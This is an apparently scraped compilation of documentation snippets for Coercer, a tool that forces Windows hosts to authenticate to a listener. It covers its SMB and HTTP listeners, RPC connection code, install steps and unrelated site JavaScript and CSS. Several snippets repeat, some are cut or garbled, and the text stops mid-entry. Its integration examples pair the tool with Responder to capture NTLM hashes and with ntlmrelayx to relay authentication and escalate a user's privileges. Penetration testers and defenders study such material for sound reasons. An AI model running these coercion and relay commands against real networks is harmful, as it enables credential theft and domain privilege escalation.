### Start SMB Listener in Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html This function starts an SMB listener that binds to a specified IP and port, then waits for incoming connections and data. It checks if the received data starts with a specific byte pattern and contains 'SMB', indicating an SMB authentication attempt. If successful, it updates the control structure's result. It includes basic error handling for network operations. ```python def start_smb(self, control_structure, stop_time): while (int(time.time()) < stop_time) and control_structure["result"] == TestResult.NO_AUTH_RECEIVED: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.bind((self.listen_ip, self.smb_port)) s.listen(5) conn, address = s.accept() data = conn.recv(2048) if data.startswith(b'\x00\x00\x00') and b'SMB' in data: control_structure["result"] = TestResult.SMB_AUTH_RECEIVED else: print("\n", data) except Exception as e: pass ``` -------------------------------- ### Start SMB Listener Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html The start_smb method initiates an SMB listener to capture authentication attempts. It runs in a loop until the timeout is reached or a result other than TestResult.NO_AUTH_RECEIVED is obtained. It utilizes the socket library to create and manage the listening socket. ```python def start_smb(self, control_structure): """ Function start_smb(self, control_structure) """ start_time = int(time.time()) stop_time = start_time + self.timeout while (int(time.time()) < stop_time) and control_structure["result"] == TestResult.NO_AUTH_RECEIVED: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ``` -------------------------------- ### Listener API Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html Documentation for the Listener class, covering its initialization and methods for configuring and starting network services. ```APIDOC ## Listener Class ### Description Represents a network listener that can be configured to start SMB and HTTP services. ### Methods #### `__init__` ##### Description Initializes the Listener object. ##### Parameters * **options** (dict) - Optional - Configuration options for the listener. * **timeout** (int) - Optional - Timeout value for network operations. * **listen_ip** (str) - Optional - The IP address to listen on. #### `start_smb` ##### Description Starts the SMB service on the listener. ##### Parameters * **port** (int) - Required - The port to start the SMB service on. #### `start_http` ##### Description Starts the HTTP service on the listener. ##### Parameters * **port** (int) - Required - The port to start the HTTP service on. ``` -------------------------------- ### Start SMB Listener in Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html Initiates an SMB listener to capture authentication attempts. It sets up a socket, binds to the SMB port, listens for incoming connections, and receives data to check for SMB handshake patterns. This function updates a control structure based on the received data. ```python def start_smb(self, control_structure): """ Function start_smb(self, control_structure) """ start_time = int(time.time()) stop_time = start_time + self.timeout s.settimeout(1) s.bind((self.listen_ip, self.smb_port)) s.listen(5) conn, address = s.accept() data = conn.recv(2048) if data.startswith(b'\x00\x00\x00') and b'SMB' in data: control_structure["result"] = TestResult.SMB_AUTH_RECEIVED else: print("\n", data) ``` -------------------------------- ### Build Standalone Windows Executable Source: https://context7.com/p0dalirius/coercer/llms.txt Provides instructions for building a standalone Windows executable of the Coercer tool using the provided installer script. This allows for easier deployment on Windows systems. ```powershell # Download and run installer with default options .\installer.ps1 # Show help for build options .\installer.ps1 -h .\installer.ps1 --help ``` -------------------------------- ### Start SMB Listener and Detect SMB Handshake Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html Initiates an SMB listener on the specified IP and port, attempting to capture SMB handshake data. It runs for a defined timeout or until an SMB authentication attempt is detected. Dependencies include the `socket` and `time` modules, and `TestResult` enum. ```python def start_smb(self, control_structure): """ Function start_smb(self, control_structure) """ start_time = int(time.time()) stop_time = start_time + self.timeout while (int(time.time()) < stop_time) and control_structure["result"] == TestResult.NO_AUTH_RECEIVED: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.bind((self.listen_ip, self.smb_port)) s.listen(5) conn, address = s.accept() data = conn.recv(2048) # Win11 2208: b'\x00\x00\x00E\xffSMBr\x00\x00\x00\x00\x18S\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x00\x00\x00\x00"\x00\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' # WinServ2016: b'\x00\x00\x00\x9b\xffSMBr\x00' # b'\x00\x00\x00\xfc\xfeSMB@\x00\x01\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x05\x00\x02\x00\x00\x00\x7f\x00\x00\x00\x12\xe3\x9f\x90\xfa7\xed\x11\x98.\xe8\xd8\xd1\xf3/\xf9p\x00\x00\x00\x05\x00\x00\x00\x02\x02\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\xec-\xd9\x94\xf2{D\x91\xd54\xb48KW\xbe\x81uM&\xbd.q\xff\xc3\xcb\x90\x87\x11\x1c\xbd9\xd8\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x04\x00\x02\x00\x03\x00\x01\x00\x05\x00\x1a\x00\x00\x00\x00\x00F\x00R\x00T\x00L\x00S\x00E\x00Q\x00P\x00R\x00N\x00P\x000\x001\x00\x00\x00\x00\x00\x00\x00\x06 if data.startswith(b'\x00\x00\x00') and b'SMB' in data: # TODO: Handle SMB handshake better than this. control_structure["result"] = TestResult.SMB_AUTH_RECEIVED else: print("\n", data) except Exception as e: pass ``` -------------------------------- ### Connect to RPC Endpoint Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/utils/RPCProtocol.html Establishes an RPC connection to a target endpoint using provided credentials and connection details. It handles transport setup, authentication, and binding to the specified RPC interface. ```python def connect(self, username, password, domain, lmhash, nthash, target, dcHost, doKerberos=False, targetIp=None): self.ncan_target = r'ncacn_np:%s[%s]' % (target, self.pipe) self.__rpctransport = transport.DCERPCTransportFactory(self.ncan_target) self.auth_username = username self.auth_password = password self.auth_domain = domain self.target = target self.auth_lmhash = lmhash self.auth_nthash = nthash if hasattr(self.__rpctransport, 'set_credentials'): self.__rpctransport.set_credentials( username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash ) if doKerberos: self.__rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) if targetIp is not None: self.__rpctransport.setRemoteHost(targetIp) self.dce = self.__rpctransport.get_dce_rpc() if self.auth_type is not None: self.dce.set_auth_type(self.auth_type) if self.auth_level is not None: self.dce.set_auth_level(self.auth_level) if self.verbose: print(" [>] Connecting to %s ... " % self.ncan_target, end="") sys.stdout.flush() try: self.dce.connect() except Exception as e: if self.verbose: print("\x1b[1;91mfail\x1b[0m") print(" [!] Something went wrong, check error status => %s" % str(e)) return False else: if self.verbose: print("\x1b[1;92msuccess\x1b[0m") if self.verbose: print(" [>] Binding to ... " % (self.uuid, self.version), end="") sys.stdout.flush() try: self.dce.bind(uuidtup_to_bin((self.uuid, self.version))) except Exception as e: if self.verbose: print("\x1b[1;91mfail\x1b[0m") print(" [!] Something went wrong, check error status => %s" % str(e)) return False else: if self.verbose: print("\x1b[1;92msuccess\x1b[0m") return True ``` -------------------------------- ### Start HTTP Listener and Capture Data Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html Establishes an HTTP listener on the specified IP and port, capturing incoming HTTP requests. The listener operates within a defined timeout period and is configured based on the `options.mode`. It utilizes the `socket` and `time` modules. ```python def start_http(self, control_structure, http_port=80): """ Function start_http(self, control_structure, http_port=80) """ start_time = int(time.time()) stop_time = start_time + self.timeout while (int(time.time()) < stop_time) and control_structure["result"] == TestResult.NO_AUTH_RECEIVED: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) if self.options.mode in ["fuzz", "scan"]: s.bind((self.listen_ip, http_port)) elif self.options.mode in ["coerce"]: s.bind((self.listen_ip, self.options.http_port)) s.listen(5) conn, address = s.accept() data = conn.recv(2048) # print("\n",data,"\n") except Exception as e: pass ``` -------------------------------- ### JavaScript Search Initialization and Event Handling Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/DCERPCSession.html This snippet demonstrates JavaScript code for initializing a search interface, handling user input via a search box, and managing keyboard events for navigating search results. It includes functions for getting search terms, initializing the search, and responding to input and key presses. ```javascript ``` ```text ``` -------------------------------- ### Start HTTP Listener in Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html Establishes an HTTP listener to detect HTTP authentication requests. It configures a socket, binds to the specified HTTP port, waits for connections, and reads incoming data. If the data contains 'HTTP', it signifies an HTTP authentication attempt and updates the control structure accordingly. ```python def start_http(self, control_structure, http_port=80): """ Function start_http(self, control_structure, http_port=80) """ start_time = int(time.time()) stop_time = start_time + self.timeout while (int(time.time()) < stop_time) and control_structure["result"] == TestResult.NO_AUTH_RECEIVED: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) if self.options.mode in ["fuzz", "scan"]: s.bind((self.listen_ip, http_port)) elif self.options.mode in ["coerce"]: s.bind((self.listen_ip, self.options.http_port)) s.listen(5) conn, address = s.accept() data = conn.recv(2048) if b'HTTP' in data: control_structure["result"] = TestResult.HTTP_AUTH_RECEIVED ``` -------------------------------- ### Integration with Responder for NTLM Hash Capture Source: https://context7.com/p0dalirius/coercer/llms.txt Shows how to integrate Coercer with Responder to capture NTLM hashes. This involves starting Responder to listen for credentials and then using Coercer to trigger the capture. ```bash # Terminal 1: Start Responder to capture credentials sudo responder -I eth0 -wrf # Terminal 2: Trigger coercion to capture NTLM hashes coercer coerce -t 192.168.1.46 -l 192.168.1.100 -u 'admin' -p 'pass' -d 'CONTOSO' ``` -------------------------------- ### Build Windows Binary with Installer Script Source: https://github.com/p0dalirius/coercer/blob/master/README.md Creates a Windows executable binary for the Coercer tool by running the `installer.ps1` script. This script is typically downloaded from the repository. Running it without arguments generates the binary in the current directory. Use `-h` or `--help` for available options. ```powershell ./installer.ps1 ./installer.ps1 -h ``` -------------------------------- ### Start HTTP Listener in Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html This function initiates an HTTP listener, binding to a given IP and port. It listens for incoming TCP connections and receives data. If the received data contains 'HTTP', it signifies an HTTP authentication attempt, and the control structure's result is updated accordingly. The port binding logic adapts based on the operational mode ('fuzz', 'scan', or 'coerce'). Basic exception handling is included. ```python def start_http(self, control_structure, http_port=80): start_time = int(time.time()) stop_time = start_time + self.timeout while (int(time.time()) < stop_time) and control_structure["result"] == TestResult.NO_AUTH_RECEIVED: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) if self.options.mode in ["fuzz", "scan"]: s.bind((self.listen_ip, http_port)) elif self.options.mode in ["coerce"]: s.bind((self.listen_ip, self.options.http_port)) s.listen(5) conn, address = s.accept() data = conn.recv(2048) if b'HTTP' in data: control_structure["result"] = TestResult.HTTP_AUTH_RECEIVED except Exception as e: pass ``` -------------------------------- ### Initialize Listener with Options Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html The __init__ method initializes the Listener object with provided options, setting up SMB port, timeout, and listen IP. It configures the SMB port based on the operating mode ('fuzz', 'scan', or 'coerce') and defaults the timeout to 1 second and listen IP to '0.0.0.0' unless specified otherwise. ```python def __init__(self, options, listen_ip=None, timeout=None): super(Listener, self).__init__() self.options = options if self.options.mode in ["fuzz", "scan"]: self.smb_port = self.options.smb_port elif self.options.mode in ["coerce"]: self.smb_port = self.options.smb_port self.timeout = 1 self.listen_ip = "0.0.0.0" if listen_ip is not None: self.listen_ip = listen_ip if timeout is not None: self.timeout = timeout ``` -------------------------------- ### Install Coercer Python Package Source: https://github.com/p0dalirius/coercer/blob/master/README.md Installs the Coercer Python package from PyPI using pip. This command requires sudo privileges to install globally. Ensure Python 3 is available on the system. ```bash sudo python3 -m pip install coercer ``` -------------------------------- ### Initialize RPCProtocol Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/utils/RPCProtocol.html Initializes the RPCProtocol class with verbosity settings. It sets up the base object and configures verbose output. ```python class RPCProtocol(object): """ Documentation for class RPCProtocol """ uuid = None version = None auth_type = None auth_level = None pipe = None available_pipes = [] webdav_host = None webdav_port = None ncan_target = None __rpctransport = None dce = None verbose = False debug = False def __init__(self, verbose=False): super(RPCProtocol, self).__init__() self.verbose = verbose ``` -------------------------------- ### DCERPCSession.get_verbose Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/DCERPCSession.html Gets the current verbosity level of the DCE/RPC session. ```APIDOC ## GET /get_verbose ### Description Gets the current verbosity level of the DCE/RPC session. ### Method GET ### Endpoint /get_verbose ### Parameters None ### Request Example None ### Response #### Success Response (200) - **verbose_level** (boolean) - The current verbosity level (True if verbose, False if quiet). #### Response Example ```json { "verbose_level": true } ``` ``` -------------------------------- ### Listener Class Initialization in Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html Initializes the Listener class, setting up essential parameters like options, SMB port, timeout, and listen IP address. It configures the SMB port based on the operating mode (fuzz, scan, or coerce) and sets default values for timeout and listen IP. ```python class Listener(object): """ class Listener """ def __init__(self, options, listen_ip=None, timeout=None): super(Listener, self).__init__() self.options = options if self.options.mode in ["fuzz", "scan"]: self.smb_port = self.options.smb_port elif self.options.mode in ["coerce"]: self.smb_port = self.options.smb_port self.timeout = 1 self.listen_ip = "0.0.0.0" if listen_ip is not None: self.listen_ip = listen_ip if timeout is not None: self.timeout = timeout ``` -------------------------------- ### Search Functionality Initialization in JavaScript Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/methods/MS_EFSR/EfsRpcAddUsersToFileEx.html Initializes the search functionality for the documentation. It dynamically loads the 'search.js' script, handles potential errors during loading, and sets up event listeners for the search box and navigation clicks. This enables users to search through the documentation content. ```javascript let search, searchErr; async function initialize() { try { search = await new Promise((resolve, reject) => { const script = document.createElement("script"); script.type = "text/javascript"; script.async = true; script.onload = () => resolve(window.pdocSearch); script.onerror = (e) => reject(e); script.src = "../../../search.js"; document.getElementsByTagName("head")[0].appendChild(script); }); } catch (e) { console.error("Cannot fetch pdoc search index"); searchErr = "Cannot fetch search index."; } onInput(); document.querySelector("nav.pdoc").addEventListener("click", e => { if (e.target.hash) { searchBox.value = ""; searchBox.dispatchEvent(new Event("input")); } }); } if (getSearchTerm()) { initialize(); searchBox.value = getSearchTerm(); onInput(); } else { searchBox.addEventListener("focus", initialize, {once: true}); } ``` -------------------------------- ### Get Verbosity Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/DCERPCSession.html Retrieves the current verbosity level of the DCERPCSession. This allows checking the current output settings. ```python def get_verbose(self): """ get_verbose() Gets the current verbosity level """ return self.__verbose ``` -------------------------------- ### Run Coerce Mode with Credentials and Target Source: https://github.com/p0dalirius/coercer/blob/master/documentation/Coerce-mode.md This command demonstrates how to initiate the 'coerce' mode of the Coercer script. It requires specifying the username, password, target IP address, and the listener's IP address. ```bash ./Coercer.py coerce -u 'Administrator' -p 'Admin123!' --target 192.168.1.46 --listener-ip 192.168.1.17 ``` -------------------------------- ### Get Verbosity Level in Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/DCERPCSession.html Retrieves the current verbosity level of the DCERPCSession. This method returns the boolean value indicating whether verbose output is currently enabled. ```python def get_verbose(self): """ get_verbose() Gets the current verbosity level """ return self.__verbose ``` -------------------------------- ### Integration with ntlmrelayx for Authentication Relay Source: https://context7.com/p0dalirius/coercer/llms.txt Demonstrates how to use Coercer in conjunction with ntlmrelayx.py to relay captured authentication credentials. This involves starting ntlmrelayx on one terminal and triggering coercion on another. ```bash # Terminal 1: Start ntlmrelayx to relay captured authentication ntlmrelayx.py -t ldaps://dc01.contoso.local -smb2support --escalate-user targetuser # Terminal 2: Trigger coercion to relay authentication coercer coerce -t 192.168.1.46 -l 192.168.1.100 -u 'admin' -p 'pass' -d 'CONTOSO' ``` -------------------------------- ### Listener Class Initialization in Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/Listener.html The __init__ method for the Listener class initializes the object with provided options, listen IP, and timeout. It sets up the SMB port based on the operational mode ('fuzz', 'scan', or 'coerce') and defines default values for timeout and listen IP. The listen IP can be overridden if a specific IP address is provided during initialization. ```python def __init__(self, options, listen_ip=None, timeout=None): super(Listener, self).__init__() self.options = options if self.options.mode in ["fuzz", "scan"]: self.smb_port = self.options.smb_port elif self.options.mode in ["coerce"]: self.smb_port = self.options.smb_port self.timeout = 1 self.listen_ip = "0.0.0.0" if listen_ip is not None: self.listen_ip = listen_ip ``` -------------------------------- ### JavaScript Search Index Initialization and Loading Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/structures/Credentials.html Asynchronously loads the search index script ('search.js') and handles potential errors during loading. It initializes the search functionality and sets up event listeners for navigation clicks. ```javascript let search, searchErr; async function initialize() { try { search = await new Promise((resolve, reject) => { const script = document.createElement("script"); script.type = "text/javascript"; script.async = true; script.onload = () => resolve(window.pdocSearch); script.onerror = (e) => reject(e); script.src = "../../search.js"; document.getElementsByTagName("head")[0].appendChild(script); }); } catch (e) { console.error("Cannot fetch pdoc search index"); searchErr = "Cannot fetch search index."; } onInput(); document.querySelector("nav.pdoc").addEventListener("click", e => { if (e.target.hash) { searchBox.value = ""; searchBox.dispatchEvent(new Event("input")); } }); } if (getSearchTerm()) { initialize(); searchBox.value = getSearchTerm(); onInput(); } else { searchBox.addEventListener("focus", initialize, {once: true}); } ``` -------------------------------- ### Bootstrap Reboot CSS Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/methods/MS_RPRN.html The Bootstrap Reboot CSS provides a fresh start to the browser's default styles. It aims to make them more opinionated and consistent across all browsers and devices. This CSS is a fork of Normalize.css. ```css /* * Bootstrap Reboot v5.0.0 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors * Copyright 2011-2021 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) * * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md) */ *,::after,::before { box-sizing: border-box; } @media (prefers-reduced-motion:no-preference) { :root { scroll-behavior: smooth; } } body { margin: 0; font-family: system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #212529; background-color: #fff; -webkit-text-size-adjust: 100%; -webkit-tap-highlight-color: transparent; } hr { margin: 1rem 0; color: inherit; background-color: currentColor; border: 0; opacity: .25; } hr:not([size]) { height: 1px; } h1,h2,h3,h4,h5,h6 { margin-top: 0; margin-bottom: .5rem; font-weight: 500; line-height: 1.2; } h1 { font-size: calc(1.375rem + 1.5vw); } @media (min-width:1200px) { h1 { font-size: 2.5rem; } } h2 { font-size: calc(1.325rem + .9vw); } @media (min-width:1200px) { h2 { font-size: 2rem; } } h3 { font-size: calc(1.3rem + .6vw); } @media (min-width:1200px) { h3 { font-size: 1.75rem; } } h4 { font-size: calc(1.275rem + .3vw); } @media (min-width:1200px) { h4 { font-size: 1.5rem; } } h5 { font-size: 1.25rem; } h6 { font-size: 1rem; } p { margin-top: 0; margin-bottom: 1rem; } abbr[data-bs-original-title],abbr[title] { -webkit-text-decoration: underline dotted; text-decoration: underline dotted; cursor: help; -webkit-text-decoration-skip-ink: none; text-decoration-skip-ink: none; } address { margin-bottom: 1rem; font-style: normal; line-height: inherit; } ol,ul { padding-left: 2rem; } dl,ol,ul { margin-top: 0; margin-bottom: 1rem; } ol ol,ol ul,ul ol,ul ul { margin-bottom: 0; } dt { font-weight: 700; } dd { margin-bottom: .5rem; margin-left: 0; } blockquote { margin: 0 0 1rem; } b,strong { font-weight: bolder; } small { font-size: .875em; } mark { padding: .2em; background-color: #fcf8e3; } sub,sup { position: relative; font-size: .75em; line-height: 0; vertical-align: baseline; } sub { bottom: -.25em; } sup { top: -.5em; } a { color: #0d6efd; text-decoration: underline; } a:hover { color: #0a58ca; } a:not([href]):not([class]),a:not([href]):not([class]):hover { color: inherit; text-decoration: none; } code,kbd,pre,samp { font-family: SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace; font-size: 1em; direction: ltr; unicode-bidi: bidi-override; } pre { display: block; margin-top: 0; margin-bottom: 1rem; overflow: auto; font-size: .875em; } pre code { font-size: inherit; color: inherit; word-break: normal; } code { font-size: .875em; color: #d63384; word-wrap: break-word; } a>code { color: inherit; } kbd { padding: .2rem .4rem; font-size: .875em; color: #fff; background-color: #212529; border-radius: .2rem; } kbd kbd { padding: 0; font-size: 1em; font-weight: 700; } figure { margin: 0 0 1rem; } img,svg { vertical-align: middle; } table { caption-side: bottom; border-collapse: collapse; } caption { padding-top: .5rem; padding-bottom: .5rem; color: #6c757d; text-align: left; } th { text-align: inherit; text-align: -webkit-match-parent; } tbody,td,tfoot,th,thead,tr { border-color: inherit; border-style: solid; border-width: 0; } label { display: inline-block; } button { border-radius: 0; } button:focus:not(:focus-visible) { outline: 0; } button,input,optgroup,select,textarea { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; } button,select { text-transform: none; } [role=button] { cursor: pointer; } select { word-wrap: normal; } select:disabled { opacity: 1; } [list]::-webkit-calendar-picker-indicator { display: none; } [type=button],[type=reset],[type=submit],button { -webkit-appearance: button; } [type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled) { cursor: pointer; } ::-moz-focus-inner { padding: 0; border-style: none; } textarea { resize: vertical; } fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } legend { float: left; width: 100%; padding: 0; margin-bottom: .5rem; font-size: calc(1.275rem + .3vw); line-height: inherit; } @media (min-width:1200px) { legend { font-size: 1.5rem; } } legend+* { clear: left; } ::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field { padding: 0; } ::-webkit-inner-spin-button { height: auto; } [type=search] { outline-offset: -2px; -webkit-appearance: textfield; } ::-webkit-search-decoration { -webkit-appearance: none; } ::-webkit-color-swatch-wrapper { padding: 0; } ::file-selector-button { font: inherit; } ::-webkit-file-upload-button { font: inherit; -webkit-appearance: button; } output { display: inline-block; } iframe { border: 0; } summary { display: list-item; cursor: pointer; } progress { vertical-align: baseline; } [hidden] { display: none!important; } ``` -------------------------------- ### MSPROTOCOLRPCCALL Class Initialization Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/models/MSPROTOCOLRPCCALL.html Initializes the MSPROTOCOLRPCCALL class with a given path. It calls the parent class constructor and sets the instance's path attribute. ```python class MSPROTOCOLRPCCALL(object): def __init__(self, path): super(MSPROTOCOLRPCCALL, self).__init__() self.path = path ``` -------------------------------- ### Search Initialization and Event Handling in JavaScript Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/methods/MS_EFSR/EfsRpcAddUsersToFile.html JavaScript code to initialize and manage a search interface for the project documentation. It dynamically loads a search script, handles user input in a search box, updates the URL with search terms, and displays search results. It also includes keyboard navigation for search results. ```javascript const originalContent = document.querySelector("main.pdoc"); let currentContent = originalContent; function setContent(innerHTML) { let elem; if (innerHTML) { elem = document.createElement("main"); elem.classList.add("pdoc"); elem.innerHTML = innerHTML; } else { elem = originalContent; } if (currentContent !== elem) { currentContent.replaceWith(elem); currentContent = elem; } } function getSearchTerm() { return (new URL(window.location)).searchParams.get("search"); } const searchBox = document.querySelector(".pdoc input[type=search]"); searchBox.addEventListener("input", function () { let url = new URL(window.location); if (searchBox.value.trim()) { url.hash = ""; url.searchParams.set("search", searchBox.value); } else { url.searchParams.delete("search"); } history.replaceState("", "", url.toString()); onInput(); }); window.addEventListener("popstate", onInput); let search, searchErr; async function initialize() { try { search = await new Promise((resolve, reject) => { const script = document.createElement("script"); script.type = "text/javascript"; script.async = true; script.onload = () => resolve(window.pdocSearch); script.onerror = (e) => reject(e); script.src = "../../../search.js"; document.getElementsByTagName("head")[0].appendChild(script); }); } catch (e) { console.error("Cannot fetch pdoc search index"); searchErr = "Cannot fetch search index."; } onInput(); document.querySelector("nav.pdoc").addEventListener("click", e => { if (e.target.hash) { searchBox.value = ""; searchBox.dispatchEvent(new Event("input")); } }); } function onInput() { setContent((() => { const term = getSearchTerm(); if (!term) { return null } if (searchErr) { return `

Error: ${searchErr}

` } if (!search) { return "

Searching...

" } window.scrollTo({ top: 0, left: 0, behavior: 'auto' }); const results = search(term); let html; if (results.length === 0) { html = `No search results for '${escapeHTML(term)}'.` } else { html = `

${results.length} search result${results.length > 1 ? "s" : ""} for '${escapeHTML(term)}'.

`; } for (let result of results.slice(0, 10)) { let doc = result.doc; let url = `../../../${doc.modulename.replaceAll(".", "/")}.html`; if (doc.qualname) { url += `#${doc.qualname}`; } let heading; switch (result.doc.kind) { case "function": if (doc.fullname.endsWith(".__init__")) { heading = `${doc.fullname.replace(/\.__init__$/, "")}${doc.signature}`; } else { heading = `${doc.funcdef} ${doc.fullname}${doc.signature}`; } break; case "class": heading = `class ${doc.fullname}`; if (doc.bases) heading += `(${doc.bases})`; heading += `:`; break; case "variable": heading = `${doc.fullname}`; if (doc.annotation) heading += `${doc.annotation}`; if (doc.default_value) heading += ` = ${doc.default_value}`; break; default: heading = `${doc.fullname}`; break; } html += `
${heading}
${doc.doc}
`; } return html; })()); } if (getSearchTerm()) { initialize(); searchBox.value = getSearchTerm(); onInput(); } else { searchBox.addEventListener("focus", initialize, {once: true}); } searchBox.addEventListener("keydown", e => { if (["ArrowDown", "ArrowUp", "Enter"].includes(e.key)) { let focused = currentContent.querySelector(".search-result.focused"); if (!focused) { currentContent.querySelector(".search-result").classList.add("focused"); } else if ( e.key === "ArrowDown" && focused.nextElementSibling && focused.nextElementSibling.classList.contains("search-result") ) { focused.classList.remove("focused"); focused.nextElementSibling.classList.add("focused"); focused.nextElementSibling.scrollIntoView({ behavior: "smooth", block: "nearest", inline: "nearest" }); } else if ( e.key === "ArrowUp" && focused.previousElementSibling && focused.previousElementSibling.classList.contains("search-result") ) { focused.classList.remove("focused"); focused.previousElementSibling.classList.add("focused"); focused.previousElementSibling.scrollIntoView({ behavior: "smooth", block: "nearest", in ``` -------------------------------- ### Get Available Pipes and Protocols with Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/utils/smb.html Iterates through a list of potential pipes and attempts to connect to each using the provided options. If a connection is successful, it then checks which protocols are available for that pipe. This function is designed to discover accessible services on a target. ```python def get_available_pipes_and_protocols(options, target, lmhash, nthash, all_pipes, available_protocols): for pipe in all_pipes: dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose) if dce is not None: print(" [>] Pipe '%s' is \x1b[1;92maccessible\x1b[0m!" % pipe) for protocol in available_protocols: if pipe in protocol.available_pipes: dce = connect_to_pipe(pipe=pipe, username=options.usernam ``` -------------------------------- ### Syntax Highlighting Styles (CSS) Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/protocols/MS_FSRVP.html CSS rules for syntax highlighting code blocks. It defines styles for line numbers and highlighted lines, ensuring readability of code examples. These styles are typically used in documentation generators. ```css /* syntax-highlighting.css */ pre { line-height: 125%; } span.linenos { color: inherit; background-color: transparent; padding-left: 5px; padding-right: 20px; } .pdoc-code .hll { background-color: #ffffcc; } .pdoc-code { background: #f8f8f8; } .pdoc-code .c { color: #3D7B7B; font-style: italic; } .pdoc-code .err { border: 1px ``` -------------------------------- ### Initialize SMB Session with Authentication Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/smb.html Establishes an SMB connection to a target host and authenticates using provided credentials. It supports both regular logins and Kerberos authentication, and identifies the SMB dialect used by the server. Returns an SMBConnection object upon successful connection. ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : smb.py # Author : Podalirius (@podalirius_) # Date created : 17 Sep 2022 import sys from impacket.dcerpc.v5 import transport from impacket.uuid import uuidtup_to_bin from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError def init_smb_session(args, domain, username, password, address, lmhash, nthash, verbose=False): smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port)) dialect = smbClient.getDialect() if dialect == SMB_DIALECT: if verbose: print("[debug] SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: if verbose: print("[debug] SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: if verbose: print("[debug] SMBv2.1 dialect used") else: if verbose: print("[debug] SMBv3.0 dialect used") if args.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip) else: smbClient.login(username, password, domain, lmhash, nthash) if smbClient.isGuestSession() > 0: if verbose: print("[debug] GUEST Session Granted") else: if verbose: print("[debug] USER Session Granted") return smbClient ``` -------------------------------- ### Print Testing Message Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/core/Reporter.html This Python method prints a 'testing' message to standard output, often used to indicate the start of a test or a specific operation. It includes ANSI escape codes for coloring the output and flushes the standard output stream to ensure immediate display. ```python def print_testing(self, msprotocol_rpc_instance): print(" [>] (\x1b[93m%s\x1b[0m) %s " % ("-testing-", str(msprotocol_rpc_instance))) sys.stdout.flush() ``` -------------------------------- ### Initialize RPCProtocol Source: 